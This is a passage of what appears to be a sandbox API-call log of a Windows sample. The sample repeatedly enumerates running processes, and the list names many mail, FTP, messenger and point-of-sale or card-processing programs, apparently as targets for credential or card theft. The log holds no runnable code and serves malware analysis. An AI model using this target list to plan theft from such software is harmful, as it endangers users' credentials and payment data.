lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0266.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0266.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0266.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0266.257] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0266.259] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0266.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0266.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0266.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0266.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0266.269] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0266.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0266.317] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0266.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0266.322] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0266.324] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0266.327] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0266.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0266.332] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0266.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0266.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0266.340] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0266.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0266.344] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0266.347] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0266.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0266.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0266.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0266.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0266.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0266.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0266.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0266.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0266.450] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0266.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0266.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0266.457] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0266.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0266.461] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0266.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0266.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0266.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0266.469] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.471] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.473] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0266.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0266.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0266.522] CloseHandle (hObject=0x344) returned 1 [0266.523] Sleep (dwMilliseconds=0x64) [0266.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0266.582] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.593] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.649] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.659] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.661] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.665] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.667] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.673] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.676] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.680] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.725] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.729] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0266.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0266.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0266.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0266.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0266.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 